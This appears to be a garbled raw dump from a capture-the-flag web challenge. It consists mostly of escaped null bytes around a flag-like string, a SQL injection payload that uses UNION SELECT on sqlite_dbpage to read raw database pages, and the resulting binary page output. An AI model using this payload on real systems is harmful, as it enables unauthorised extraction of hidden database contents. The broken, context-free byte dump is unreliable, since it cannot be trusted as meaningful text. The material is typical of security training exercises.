\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x009\x03y\tAlpaca{Harder_version: `if &amp;#34;secret&amp;#34; in value.lower()`}&amp;#39;!
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 1 --
Hello, b&amp;#39;\n\x00\x00\x00\x03\x0f\xe2\x00\x0f\xe2\x0f\xf6\x0f\xec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0